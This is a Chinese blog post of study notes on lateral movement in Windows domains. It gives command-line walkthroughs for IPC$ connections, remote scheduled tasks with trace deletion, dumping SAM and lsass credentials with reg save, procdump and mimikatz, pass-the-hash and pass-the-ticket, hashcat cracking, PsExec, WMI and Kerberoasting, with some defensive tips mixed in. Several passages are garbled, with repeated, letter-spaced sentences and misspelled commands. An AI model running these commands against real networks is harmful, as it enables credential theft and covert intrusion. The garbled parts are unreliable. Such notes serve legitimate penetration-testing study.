域横向移动分析

域横向移动学习笔记

  • 域横向移动技术是在复杂的内网攻击中被广泛使用的一种技术,尤其是在高级持续威胁(APT)中。攻击者会利用该技术,以被攻陷的系统作为跳板,访问其他域内主机,扩大资产范围(包括跳板机器中的文档和存储的凭证,以及通过跳板机器连接的数据库、域控制器或其他重要资产。)
  • 通过此类攻击手段,攻击者最终可能获取到域控制器的访问权限,甚至完全控制基于windows操作系统的基础设施和业务相关的关键账户。因此,必须使用强口令来保护特权用户不被用于横向移动攻击,从而避免域内其他机器沦陷。建议系统管理员定期修改密码,从而使攻击者获取的权限失败。

一、常用windows远程连接的相关命令

  • 在渗透测试中,拿到目标计算机的用户明文密码或者NTLM Hash之后,通过PTH(Pass the Hash,凭证传递)的方法,将散列值或明文密码传送到目标机器中进行验证。与目标机器建立连接后,可以使用相关方法在远程windows操作系统中执行命令。在多层代理环境中进行渗透测试时,由于网络条件较差,无法使用图形化界面连接远程主机。此时,可以使用命令行的方式连接远程主机(最好使用windows自带的方法对远程目标系统进行命令行下的连接操作)并执行相关命令。
  • 在实际网络环境中,针对此类情况,网络管理人员可以通过配置windows系统自带的防火墙或组策略进行防御。
1. IPC连接

​ IPC(Internet Process Connection) 共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获取相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

​ 通过IPC$,可以域目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

​ 1.首先,需要建立一个ipc$

net use \\192.168.1.1\ipc$ "Admin12345" /user:administrator	

​ 2.建立连接后在命令行中输入"net use", 查看当前的连接

net use 
1.1.1 ipc的利用条件

1.开启139和445端口

​ ipc 可以实现远程登录及时默认共享资源的访问,而 139 端口的开启表示 N e t B I O S 的协议的应用。通过 139 、 445 端口,可以实现对共享文件 / 打印机的访问。因此,一般来说, i p c 可以实现远程登录及时默认共享资源的访问,而139端口的开启表示NetBIOS的协议的应用。通过139、 445端口,可以实现对共享文件/打印机的访问。因此,一般来说,ipc 可以实现远程登录及时默认共享资源的访问,而139端口的开启表示NetBIOS的协议的应用。通过139445端口,可以实现对共享文件/打印机的访问。因此,一般来说,ipc需要139、445端口的支持。

2.管理员开启了默认共享

​ 默认共享是为了方便管理员进行远程管理而默认开启的,包括所有的逻辑盘(c 、 d 、d d、e 等 ) 和系统目录 w i n n t 和 w i n d o w s 。通过 i p c 等)和系统目录winnt和windows。通过ipc )和系统目录winntwindows。通过ipc,可以实现对这些默认共享目录的访问。

1.1.2 ipc连接失败的原因
  • 用户名或密码错误
  • 目标没有打开ipc$默认共享。
  • 不能成功连接目标的139/445端口。
  • 命令输入错误。
1.1.3 常见错误
  • 错误号5:拒绝访问。
  • 错误号51:windwos无法找到网络路径,既网络存在问题。
  • 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务为启动、目标有防火墙。
  • 错误号67:找不到网络名,包括lanmanworkstaion服务未启动、IPC$已被删除。
  • 错误号1219:提供的凭证域已存在的凭据集冲突。例如:已经和目标建立了ipc$,需要在删除原链接后重新进行链接。
  • 错误号1326:未知的用户名和错误的密码。
  • 错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动
  • 错误号2242:此用户的密码已经过期。例如,目标机器设置了账号管理策略,强制用户定期修改密码。
2.使用windows自带的工具获取远程主机信息
1.2.1 dir命令

​ 使用net use 命令与远程目标机器建立ipc$后,可以使用dir命令列出远程主机中的文件

dir \\192.168.1.1\c$
1.2.2 tasklist命令

​ 使用net use命令与远程目标机器建立ipc$后,可以使用tasklist命令的/S、/U、/P参数列出远程主机上运行的进程。

tasklist /S 192.168.1.1 /U administrator /P Admin12345
1.2.3 计划任务
1.2.3.1 at命令

​ at是windows自带的创建计划任务的命令,它主要工作在windows server 2008之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下:

  1. 使用net time命令确定远程机器当前的系统时间。
  2. 使用copy命令将Payload文件复制到远程目标机器中。
  3. 使用at命令定时启动该payload‘文件。
  4. 删除使用at命令创建计划任务的记录。

在使用at命令在远程机器上创建计划任务之前,需要使用net use 命令建立ipc$。下面对以上过程进行详细讲解。

(1)查看目标系统时间

net time \\192.168.1.1

(2)将文件复制到目标系统中

​ 首先,在本地创建一个calc.bat文件,其内容为"calc"。然后,让windows运行一个计算器程序,使用windows自带的copy命令将一个文件复制到远程主机的C盘中。

copy calc.bat \\192.168.1.1\c$

(3)使用at创建计划任务

​ 使用net time命令获取当前远程主机的系统时间。使用at命令让目标系统在指定时间(中午 12:00)运行一个程序

at \\192.168.1.1 12:00PM C:calc.bat

Added a new job with job ID = 3 #这个意思是创建一个ID为3的计划任务,内容是在中午12点运行C盘下的calc.bat文件

命令执行后,在192.168.1.1机器上看到calc.exe已经运行

(4)清除at记录

​ 计划任务不会随着它本身的执行而被删除,因此,网络管理员可以通过攻击者创建的计划任务获知网络遭受了攻击。但是,一些攻击者会清除自己创建的计划任务。

at \\192.168.1.1 3 /delete

​ 使用at远程执行命令后,先将执行结果写入本地文本文件,再使用type命令远程读取该文本文件。

at \\192.168.1.1 12:00PM cmd.exe /c "ipconifg">C:/1.txt

type \\192.168.1.1\C$\1.txt

1.2.3.2 schtasks命令

​ windows Vista、windwos server2008及之后版本的操作系统已经将at命令作废了。于是攻击者开始使用schtasks命令代替at命令。

​ schtasks命令比at命令更为灵活、自由。

​ 在远程主机上创建一个名称为"test"的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat,启动权限为system。

schtasks /create /s 192.168.1.1 /tn test /sc onstart /tr C:\calc.bat /ru system /f

​ 執行如下命令运行计划任务。在远程主机上运行名为”test“的计划任务

schtasks /run /S 192.168.1.1 /i /tn "test"

​ 在使用schtasks命令时不需要输入密码,原因是此前已经与目标机器建立了ipc 。如果没有建立 i p c 。如果没有建立ipc 。如果没有建立ipc,可以在执行schtasks命令时添加 /u和 /p参数。

  • /u : administrator。
  • /p:“Admin12345”。
  • /f:强制刪除。

​ 计划任务运行后,输入如下命令,删除该计划任务

schtasks /delete /s 192.168.1.1 /tn "test" /f

此后,还需要删除ipc$

net use 名称 /del /y

在删除ipc 时,要确认删除的是自己创建的 i p c 时,要确认删除的是自己创建的ipc 时,要确认删除的是自己创建的ipc

在使用schtasks命令时,会在系统中留下日志文件C:\windows\tasks\schedLgU.txt。如果执行schtasks命令没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。

二、windwos系统散列值获取分析

2.1 LM Hash和NTLM Hash

​ windows操作系统通常使用两种方法对用户的明文密码进行加密处理。在域环境中,用户信息存储在ntds.dit中,加密后为散列值。

​ windwos操作系统中的密码一般由两部分组成,一部分为LM Hash,另一部分为NTLM Hash。在windwos操作系统中,Hash的结构通常如下:

username:RID:LM-HASH:NT-HASH

​ LM Hash的全名为"LAN Manager Hash",是微软为了提高windwos操作系统的安全性而采用的散列加密算法,其本质是DES加密。LM Hash的生成原理在这里就不在赘述了(密码不足14字节将用0补全)。尽管LM Hash较容易被破解,但是为了保证系统的兼容性,windows只是将LM Hash禁用了(从windwos vista和windows server 2008版本开始,windwos操作系统默认禁用LM Hash)。LM Hash明文密码被限定在14位以内,也就是说,如果停止使用LM Hash,将用户的密码设置为14位以上即可。如果LM Hash被禁用了,攻击者通过工具抓取的LM Hash通常为"aad3b412312341aeeeawe"

​ NTLM Hash是微软为了提高安全性的同时保证兼容性而涉及的散列值加密算法。NTLM Hash是基于MD4加密算法进行加密的。个人版从windwos vista 以后,服务器版从windwos server2003以后,windwos操作系统的认证方式均为NTLM Hash。

2.2 单机密码抓取与防范

​ 想要在windows操作系统中抓取散列值域明文密码。必须将权限提示至system。本地用户名、散列值和其他安全验证都保存在SAM文件中。lsass.exe进程用于实现windows的安全策略(本地安全策略和登录策略)。可以使用工具将散列值和明文密码从内存中的lsass.exe进程或SAM文件中导出。

​ 在windwos系统中,SAM文件的保存位置为C:\windwos\system32\config。该文件是被锁定的,不允许复制。在渗透测试中,可以采取传统方法,在关闭windwos操作系统之后,使用PE盘进入文件管理环境,直接复制SAM文件,也可以使用VSS等方法进行复制。

2.2.1 GetPass

​ 打开GetPass工具所在的目录。打开命令行环境。选择相对应的系统操作版本,这里使用64位程序GetPassword_x64.exe。运行该程序后,即可获得明文密码。

2.2.2 PwDump7

​ 运行PwDump7可以得到系统账户的NTLM Hash

2.2.3 通过SAM和Sytem文件抓取密码
(1)导出SAM和system文件

​ 无工具导出SAM文件

reg save hklm\sam sam.hive
reg save hklm\system system.hive

通过reg的save选项将注册中SAM、System文件导出本地磁盘

(2)通过读取SAM和sytem文件获得NTLM Hash

​ 使用mimikatz读取SAM和System文件。

​ mimikatz是由法国的技术高手Benjamin Delpy使用C语言编写的一款轻量级调试工具。该工具可以从内存中提取明文密码、散列值、PIN和Kerberos票据。mimikatz也可以执行哈希传递、票据传递或者构建黄金票据(Golden Ticket)

​ 1.将从目标系统中导出的system.hive和sam.hive文件放到本地,运行mimikatz,输入命令 “lasdump::sam /sam:sam.hive /system:system.hive”

​ 2.使用Cain读取SAM文件

​ 使用Cain的时候需要关闭防火墙,否则不能运行Cain。运行Cain,进入Cracker模块,选中"LM&NTLM"选项,然后单机加号选项,选中“Import Hashes From a SAM database"选项。将之前存储在本地的SAM文件导入,然后单击”Next“按钮。导入后,会显示系统中存在的账号的LM Hash和NTLM Hash信息。

​ 3.使用mimikatz直接读取本地SAM文件,导出Hash信息。该方法与1不同的是,需要在目标机器上运行mimikatz。在进行渗透测试时,需要考虑mimikatz在目标机器上的免杀特性。

​ 在命令行环境中打开mimikatz,输入“priviege::debug"提升权限,然后输入”token::elevate"将权限提升至system

​ 输入“lsadump::sam",读取SAM文件,获取NTLM Hash

2.2.4 使用mimikatz在线读取SAM文件

​ 在mimikatz目标打开命令环境,输入如下命令,在线读取散列值及明文密码

mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
2.2.5 使用mimikatz离线读取lsass.dump文件

1.导出lsass.dmp文件

在windwos NT6中可以在任务管理器中直接进行dump操作

​ 找到lsass.exe进程,单击右键,在弹出的快捷菜单中选择“Create Dump File" ,就会本地生成lsass(2).DMP文件

2.使用Prodump导出lsass.dmp文件

Prodump是微软官方发布的工具,可以在命令行下将目标lsass文件导出,且杀毒软件不会拦截这些操作。

​ (1) 在命令行环境中输入如下命令,生成一个lsass.dmp文件

Prodump.exe -accepteula -ma lsass.exe lsass.dmp

​ (2) 使用mimikatz导出lsass.dmp文件中的密码散列值

​ 首先,在命令行环境中运行mimikatz,将lsass.dmp文件加载到mimikatz中。然后,输入命令“sekurlsa::minidump lsass.DMP",如果看到”Switch MINIDUMP"字样,表示加载成功。最后输入“sekurlsa::logonPasswords full"命令,导出密码散列值。

2.2.6 使用PowerShell对散列值进行Dump操作

​ Nishang的Get-PassHashshes.sp1脚本可以导出散列值。

​ 以管理员权限打开PowerShell环境,进入Nishang目录,将Get-PassHashes.ps1脚本导入,命令如下:

Import-Module .\Get-PassHashes.ps1

​ 执行 “Get-PassHashes"命令,导出散列值

2.2.7 使用PowerShell远程加载mimikatz抓取散列值和明文密码

​ 在命令行环境中远程获取密码

2.2.8 单击密码抓取的防范方法

​ 微软为了防止用户密码在内存中以明文形式泄露,发布了补丁KB2871997,关闭了Wdigest功能。

windwos server 2012版本及以上版本默认关闭了Wdigest,使攻击者无法从内存中获取明文密码。windwos server2012以下版本,如果安装了KB2871997,攻击者同样无法获取明文密码,这些就无法使用PTH进行传递攻击,则改为PTK传递攻击

PS: PTK打了KB2871997补丁才能用户都可以连接,采用 aes256 连接 

在命令行中开启或者关闭Wdigest Auth,有以下两种方法:

(1) 使用Red add命令:
开启Wdigest Auth,命令如下
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

关闭Wdigest Auth,命令如下
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f


(2) 使用Powershell
开启Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
关闭Wdigest Auth
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentCzontrolSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0

注意:需要强调的是,安装了KB2871997补丁黑客不仅无法Dump出明文密码,而且一般情况下无法使用哈希传递攻击。仅可以使用SID=500的用户进行哈希传递攻击,而SID=500的用户默认为administrator,所以,主机管理员最好也禁用administrator用户

2.3 使用Hashcat获取密码

​ Hashcat系列软件支持CPU、NVIDIA GPU、ATI GPU进行密码破解。Hashcat系列软件包括Hashcat、oclHashcat,还有一个单独的版本 oclRausscrack。它们的区别是:Hashcat只支持CPU破解;oclHashcat和 oclRausscrack支持GPU加速破解。

​ oclHashcat分为AMD版和NIVDA版,并且需要安装官方指定版本的显卡驱动程序(如果驱动程序版本不对,程序可能无法运行)oclHashcat基于字典攻击、支持多GPU、多散列值、多操作系统、多平台、多算法、资源利用率低、支持分布式破解。同时oclHashcat支持破解windows密码、linux密码、office密码、wifi密码、mysql密码、sqlserver密码、以及有MD5、SHA1、SHA256等国际主流加密算法的加密密码。

hashcat的使用方法:
-m   指定哈希类型
-a   指定攻击模式,有5中模式
    0 Straight(字典破解)
    1 Combination(组合破解)
    3 Brute-force(掩码暴力破解)
    6 Hybrid dict + mask(混合字典+掩码)
    7 Hybrid mask + dict(混合掩码+字典)
-o   输出文件
-stdout  指定基础文件
-r  指定规则文件   使用自定义破解规则
--force 强制进行破解
--show  显示破解结果
-V   打印出版本
-h   查看帮助
--increment  启用增量破解模式,你可以利用此模式让hashcat在指定的密码长度范围内执行破解过程
--increment-min  密码最小长度,后面直接等于一个整数即可,配置increment模式一起使用
--increment-max  密码最大长度,同上
--outfile-format 指定破解结果的输出格式id,默认是3
--username   忽略hash文件中的指定的用户名,在破解linux系统用户密码hash可能会用到
--remove     删除已被破解成功的hash

-m的参数

    900 | MD4                                              | Raw Hash
      0 | MD5                                              | Raw Hash
    100 | SHA1                                             | Raw Hash
   1300 | SHA2-224                                         | Raw Hash
   1400 | SHA2-256                                         | Raw Hash
  10800 | SHA2-384                                         | Raw Hash
   1700 | SHA2-512                                         | Raw Hash
  17300 | SHA3-224                                         | Raw Hash
  17400 | SHA3-256                                         | Raw Hash
  17500 | SHA3-384                                         | Raw Hash
  17600 | SHA3-512                                         | Raw Hash
   6000 | RIPEMD-160                                       | Raw Hash
    600 | BLAKE2b-512                                      | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash
  11800 | GOST R 34.11-2012 (Streebog) 512-bit, big-endian | Raw Hash
   6900 | GOST R 34.11-94                                  | Raw Hash
   5100 | Half MD5                                         | Raw Hash
  18700 | Java Object hashCode()                           | Raw Hash
  17700 | Keccak-224                                       | Raw Hash
  ...
1.使用字典
hashcat -a 0 [哈希值] [字典] --force   

2.使用指定字符集
hashcat -a 3 [哈希值] ?d?d?d --force 

3.使用字典+掩码
hascat -a 6 [哈希值] [字典] ?d?d?d --force

4.掩码+字典
hashcat -a 7 [哈希值] ?d?d?d [字典] --force
2.4 如何防范攻击者抓取明文密码和散列值
2.4.1 安装kb2871997补丁
2.4.2 通过修改注册禁止在内存中存储明文密码
2.4.3 防御mimikatz攻击

​ mimikatz抓取明文需要debug权限,如果没有debug权限,mimikatz将不能读取lsass权限,所以将拥有debug权限的本地管理员从administrator组中删除。再重启系统,再次运行mimikatz后无法抓取散列值了。

三、哈希传递攻击分析

3.1 哈希传递攻击的概念

​ 大多数渗透测试人员都听说过哈希传递(Pass The Hash)攻击。该方法通过找到账户相关的密码散列值(通常是NTLM Hash)来进行攻击。在域环境中,用户登录计算机使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,计算机的本地管理员账号和密码是相同的,攻击者就能使用哈希传递攻击的方法登录内网中的其他计算机。同时,通过哈希传递攻击,攻击者不需要花时间破解密码散列值。

​ 在windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软主机的产品和工具显然不会支持这种攻击,于是,攻击者往往会使用第三方工具来完成任务。在windwos server 2012 r2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的控制。

3.2 哈希传递攻击分析

​ 当用户需要登录某网站时,如果该网站使用明文的方式保存用户的密码,那么,一旦该网站出现安全漏洞,所有用户的明文密码均会被泄露。 由此,产生了散列值的概念。当用户设置密码时,网站服务器会对用户输入的密码进行散列加密处理(通常使用MD5算法)。散列加密算法一般为单向不可逆算法。当用户登录网站是,会先对用户输入的密码进行散列值加密处理,再与数据库存储的散列值进行对比,如果完全相同则表示验证成功。

​ 主流的windows操作系统,通常会使用NTLM Hash对访问资源的用户进行身份验证。早起版本的windwos操作系统,则使用了LM Hash对用户密码进行验证。但是当密码大于等于15位的是,就无法使用LM Hash了。从windows vista和windwos server 2008版本开始,windwos系统默认禁用LM Hash.因为在使用NTLM Hash进行身份认证时,不会使用明文口令,而是将明文口令通过系统API转为散列值。不过攻击者在获得密码散列值之后,依旧可以使用哈希传递来攻击模拟用户进行认证。

3.2.1 使用NTLM Hash进行哈希传递

​ 一般使用mimikatz进行传递

3.2.2 使用AES-256密钥进行哈希传递

​ 注意:目标服务器必须打了KB2871997补丁后才能使用

1.使用mimikatz抓取AES-256密钥

​ 2.使用mimikatz传递AES-256进行传递攻击

四、票据传递攻击

​ 要想使用mimikatz的哈希传递功能,必须具有本地管理员权限。mimikatz同样提供了不需要本地管理员权限进行横向渗透测试的方法,例如票据传递(Pass The Ticket PTT)

4.1 使用mimikatz进行票据传递

​ 使用mimikatz,可以将内存中的票据导出

mimikatz "privilege::debug" "sekurlsa::tickets /export"

​ 执行以上命令后,会在当前目录下出现多个服务的票据文件,例如krbtgt、cifs等

​ 使用mimikatz清除内存中的票据

kerberos::purge

​ 将票据文件注入到内存

mimikatz "kerberos::ptt" "C:\ticket\票據文件"

​ 注入成功后就可以列出远程计算机系统的文件目录

dir \\dc\c$
4.2 使用koko进行票据传递
4.3 如何防范票据传递攻击
  • 使用dir命令时,务必使用主机名。如果使用ip地址。就会导致错误。
  • 票据文件注入内存默认有效时间为10小时。
  • 在目标机器上不需要本地管理员权限即可进行票据传递。

五、PsExec的使用

PsExec是SysInternals套件中的一款功能强大的软件。起初PsExec主要用于大批量windwos主机的运维,在域环境下效果尤其好。但是,攻击者渐渐水印PsExec,通过命令行环境域目标机器进行链接,甚至控制目标机器,而不需要通过远程桌面协议(RDP)进行图形化控制,降低了恶意操作被管理员发现的可能性。

5.1 PsTools工具包中的PsExec

​ PsExec包含在PsTools工具包中。通过PsExec,可以在远程计算机上执行命令,也可以将管理员权限提升到System权限以运行指定的程序。PsExec的基本原理是:通过管道在远程目标机器上创建一个psexec服务,并在本地磁盘中生成一个名为“PSEXESVC"的二进制文件,然后,通过psexec服务运行命令,运行结果后删除服务。

​ 1.首先,需要获取目标操作系统的交互式shell。在建立了ipc$的情况下,执行如下命令,获取system权限的shell

PsExec.exe -accepteula \\192.168.1.1 -s cmd.exe

-accepteula: 第一次运行PsExec会弹出确认框,使用该参数就不会弹出确认框
-s: 以System权限运行远程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个administrator权限的shell

​ 2.如果没有建立ipc$,PsExec有两个参数可以通过指定账号和密码进行远程连接

psexec \\192.168.1.1 -u administrator -p Admin12345 cmd.exe

​ 3.执行如下命令,使用psexec在远程计算机上进行回显

psexec \\192.168.1.1 -u administrator -p Admin12345 cmd.exe /c:"ipconfig"

​ 在使用PsExec时,需要注意以下几点

  • 需要远程系统开启admin$共享
  • 在使用PsExec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将被自动删除。由于创建或删除时,会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。
  • 使用PsExec可以直接获得system权限的交互式shell
5.2 Metasploit中的psexec模块

​ Metasploit是一款开源的安全漏洞扫描、漏洞利用。后渗透安全监测等相关功能,是一款较为成熟的测试框架。

​ Metasploit的插件使用Ruby语言编写的,渗透测试人员可以自行编写插件并将其集成在Metasploit框架中。网络维护人员可以使用该工具对所管理网络中的机器进行检测,及时发现并处理相关问题,提高整体业务安全水平。

​ 在Kali linux的命令行输入“msfconsole"命令。进入Metasploit后,使用其search功能能进行模块搜索。search功能可以帮助渗透人员快速找到需要的模块,例如,输入”search psexec"命令,稍等一会儿,Metasploit就会列出PsExec有关的模块。

  • exploit/windows/smb/psexec
  • exploit/windows/smb/psexec_psh (PsExec的PowerShell版本)

​ 使用 expoit/windows/smb/psexec_psh, 该版本生成的payload主要是由Powershell实现的。

Powershell作为windows自带的脚本运行环境,免杀效果比由exploit/windows/smb/psexec生成的EXE版本payload好。在实际应用中,攻击者会通过PowerShell版本的payload进行混淆来达到绕过杀软的目的。但是,因为windows7、windows2008及以上的操作系统才默认包含Powershell,内网中一些机器的操作版本可能是不默认包含PowerShell的windwos XP或 windwos

六、WMI的使用

6.1 WMI利用条件:
  • 目标服务器需开启135端口

  • wmic命令无回显,需要使用IPC$和type命令来读取信息

    WMI的全名为"Windwos Management Instrumentation"。从windwos98开始,widnwos操作系统都支持WMI。WMI是由一些列工具基组成的,可以在本地或者远程管理计算机系统。

​ 自PsExec在内网总被严格监控后,越来越多的反病毒厂商将PsExec加入了黑名单,于是攻击者逐渐开始使用WMI进行横向移动。通过渗透测试发现,在使用wmiexec进行横向移动时,windwos操作系统默认不会将WMI的操作记录在日志中。因为这个过程不会产生日志,所以,对网络管理员来说增加了溯源成本。而对攻击者来说,其恶意行为被发现的可能性有所降低,屏蔽性有所提高。由此,越来越多的APT开始使用WMI进行攻击。

#1. 使用目标系统cmd.exe执行一条命令,将执行结果保存在C盘的ip.txt文件中
wmic /node:192.168.1.1 /user:administrator /password:Admin12345 process call create "cmd.exe" /C ipconfig >ip.txt

#2.建立ipc$后,使用type命令读取执行结果
  type \\192.168.1.1\c$\ip.txt

七、smbexec的使用

​ smbexec可以通过文件共享(admin 、 c 、c c、ipc 、 d 、d d)在远程系统中执行命令。

7.1 C++版 smbexec
1.工具说明
  • test.exe: 客户端主程序。
  • execserver.exe: 目标系统中的辅助程序。

常见的smbexec命令如下:

test.exe ipaddress username password command netshare
2.使用方法

将execserver.exe上传到目标系统的C:\windows\目录下,解除UAC对命令执行的限制。在命令环境中执行如下命令:

net use \\192.168.1.1 "Admin12345" /user:god\administrator

接下来,在客户端的命令行环境中执行如下命令:

test.exe 192.168.1.1 amdinistrator Admin12345 whoami c$

在使用smbexec时,目标系统的共享必须是开放的(c 、 i p c 、ipc ipc、admin$)

八、SPN在域环境中的应用

​ windows域环境是基于微软的活动目录服务工作的,它在网络环境中将物理位置分散、所属部门不同的用户进行分组,集中资源,有效地对资源访问控制权限进行细粒度的分配,提高了网络环境的安全性及网络资源统一分配管理的便利性。在域环境中运行的大量应用包含了多种资源,为资源的合理分组、分类和再分配提供了便利。微软给域内的每种资源分配了不同的服务主体名称。

8.1 相关概念

​ 在使用kerberos协议进行身份验证的网络中,必须在内置账号或者用户账号下为服务器注册SPN。对内置账号,SPN将自动进行注册。但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的媚态服务器都需要在kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取期需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。

​ Kerberos身份验证使用SPN服务实例域服务登录账号关联起来。如果域中的计算机上安装了多个服务实例,那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每一个名称或别名注册一个SPN。

​ 根据Kerberos协议,当用户输入主机的账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭证)。

​ 下面通过一个例子来说明。当用户需要访问MSSQL服务时,系统会以当前用户身份向域控制器查询SPN为“MSSQL”的记录。找到该SPN记录后,用户会再次域KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的身份验证服务(AS)对TGT进行解密。确认无误后,由TGS将一张运行访问该SPN所对应的服务的票据和该SPN所对应的服务的地址发送给用户。用户使用该票据即可访问MSSQL服务。

SPN命令的格式如下

SPN = serviceclass "/" hostname [":"port] ["/" servicename]
  • serviceclass: 服务组件的名称。
  • hostname: 以"/"与后面的名称分隔,是计算机的FQDN(全限定域名,同时带有计算机名和域名)。
  • port: 以冒号分隔,后面的内容为该服务监听的端口号。
  • servicename: 一个字符串,可以是服务的专有名称(DN)、objectGuid、Internet主机名或全限定域名。
8.2 常见的SPN服务

MSSQL服务的实例代码如下:

MSSQLSvc/computer1.pentest.com:1433
  • MSSQLSvc: 服务组件的名称,此处为MSSQL服务。
  • computer1.pentest.com: 主机名为computer1,域名为pentest.com。
  • 1433:监听的端口为1433。

​ serviceclass和hostname是必选参数,port和servicename是可选参数,hostname和port之间的冒号只有在该服务对某端口进行监听时才会使用。

Exchange服务的实例代码如下:

exchangeMDB/EXCAS01.pentest.com
8.3 用于进行SPN扫描的PowerShell脚本

​ 当计算机加入域时,主SPN会自动添加到域的计算机账号的ServicePrincipalName属性中。在安装新的服务后,SPN也会记录在计算机账号的相应属性中。

​ SPN扫描也称为“扫描kerberos服务实例名称”。在活动目录中发现服务的最佳方法就是SPN扫描。SPN扫描通过请求特定SPN类型的服务主题名称来查找服务。与网络端口扫描相比,SPN扫描的主要特点是不需要通过连接网络中的每个IP地址来检查服务端口(不会因触发内网中的IPS、IDS等设备的规则而产生大量的警告日志)。因为SPN查询是kerberos票据行为的一部分,所以检测难度大。

PowerShell-AD-Recon工具包提供了一些列服务与服务登录账号和运行服务的主机之间的对应关系,这些服务包括不限于MSSQL、Exchange、RDP、WinRM。

8.3.1 利用SPN发现域中的所有的MSSQL服务

​ 因为SPN是通过LDAP协议向域控制器进行查询的,所以,攻击者只要获得一个普通的域用户权限,就可以进行SPN扫描。详情见百度

8.3.2 不使用第三方工具列出域中所有SPN
setspn -T domain -q */*
8.3.4 kerberoast攻击分析

kerberoast是一种针对kerberos协议的攻击方式。在因为需要使用某个特定资源而向TGS发送kerberos服务票据的请求时,用户首先需要使用具有有效身份权限的TGT向TGS请求相应服务的票据。当TGT被验证有效具有该服务的权限时,会向用户发送一张票据。该票据使用与SPN相关联的计算机服务账号的NTLM Hash(RC4_HMAC_MD5),也就是说,攻击者会通过Kerberoast尝试使用不同的NTLM Hash来打开该Kerberos票据。如果攻击者使用的NTLM Hash是正确的,Kerberos票据就会被打开,而该NTLM Hash对应该计算机账号的密码。

​ 在域环境中,攻击者会通过Kerberoast使用普通用户权限在活动目录中将计算机服务账号的凭证提取出来的。因为在使用该方法时,大多数操作都是离线完成的,不会向目标系统发送任何信息,所以不会引起安全设备的报警。又因为大多数网络的域环境策略不够严格(没有给计算机服务账号设置密码过期时间;计算机服务账号的权限过高;计算机服务账号的密码与普通域用户账号的密码相同),所以,计算机账号的密码很容易受到Kerberoast攻击的影响。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值